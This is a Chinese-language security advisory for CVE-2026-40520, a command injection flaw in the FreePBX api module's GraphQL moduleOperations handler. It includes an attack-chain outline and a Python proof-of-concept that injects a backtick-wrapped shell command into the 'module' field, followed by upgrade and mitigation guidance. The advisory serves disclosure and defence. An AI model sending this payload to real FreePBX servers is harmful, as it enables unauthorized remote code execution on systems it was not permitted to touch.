CVE-2026-40520 CVSS 7.2 高危

CVE-2026-40520 FreePBX 命令注入漏洞

披露日期: 2026-04-21

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-40520

漏洞类型

命令注入

CVSS评分

7.2 高危

攻击向量

网络 (AV:N)

认证要求

高权限 (PR:H)

用户交互

无需交互 (UI:N)

影响产品

FreePBX api module

漏洞概述

FreePBX api模块17.0.8及之前版本存在严重的命令注入漏洞。由于`initiateGqlAPIProcess()`函数未对GraphQL输入进行过滤，持有Bearer Token的认证攻击者可通过`moduleOperations`接口注入恶意命令，在服务器上执行任意代码。

技术细节

该漏洞源于FreePBX api模块在处理GraphQL请求时的不安全编码实践。具体而言，`Api.class.php`中的`initiateGqlAPIProcess()`函数在处理`moduleOperations` mutation时，直接将用户提供的`module`字段值传递给`shell_exec()`函数执行，且未进行任何有效的消毒或转义。攻击者利用PHP语言中反引号（`）可执行系统命令的特性，只需获取一个有效的认证Bearer Token，即可构造恶意的GraphQL请求。通过在`module`参数中嵌入反引号包裹的操作系统命令（如`id`或`whoami`），攻击者能够欺骗后端服务器执行这些命令。这最终导致攻击者能够以Web服务器用户的身份在底层主机上获得远程代码执行权限，造成严重的数据泄露或系统被控风险。

攻击链分析

STEP 1

侦察

攻击者识别目标系统运行的是FreePBX，且api模块版本在17.0.8及以下。

STEP 2

获取凭证

攻击者通过其他漏洞或社会工程学手段获取一个有效的API Bearer Token，满足认证要求（PR:H）。

STEP 3

构造Payload

攻击者构造特定的GraphQL Mutation请求，在`module`字段中使用反引号包裹恶意系统命令（如 `whoami`）。

STEP 4

发送请求

攻击者向`/admin/api/api/gql`端点发送POST请求，携带Authorization头和恶意Payload。

STEP 5

执行命令

服务器端`initiateGqlAPIProcess()`函数调用`shell_exec()`处理传入参数，反引号内的命令被系统Shell执行，返回结果给攻击者。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target URL (Adjust based on actual install path)
target_url = "http://target-freepbx/admin/api/api/gql"

# Authentication: Requires a valid Bearer Token
# An attacker must obtain this via other means or valid credentials
bearer_token = "VALID_BEARER_TOKEN_HERE"

headers = {
    "Authorization": f"Bearer {bearer_token}",
    "Content-Type": "application/json"
}

# GraphQL Mutation to exploit command injection
# The payload uses backticks (`) to execute the shell command 'id'
graphql_payload = {
    "query": """
    mutation {
        moduleOperations(module: "`id`") {
            status
            message
        }
    }
    """
}

try:
    response = requests.post(target_url, json=graphql_payload, headers=headers, timeout=10)
    
    if response.status_code == 200:
        print("[+] Request sent successfully.")
        print("[+] Response:")
        print(response.text)
        # Check if command output is present in response
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
        print(response.text)
except Exception as e:
    print(f"[-] An error occurred: {e}")

影响范围

FreePBX api module <= 17.0.8

防御指南

临时缓解措施

建议立即将FreePBX api模块升级到修复了该漏洞的最新版本。如果暂时无法升级，应严格限制GraphQL API接口的访问权限，仅允许可信的内网IP地址访问，并密切监控系统中是否存在异常的Shell进程或API调用日志。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表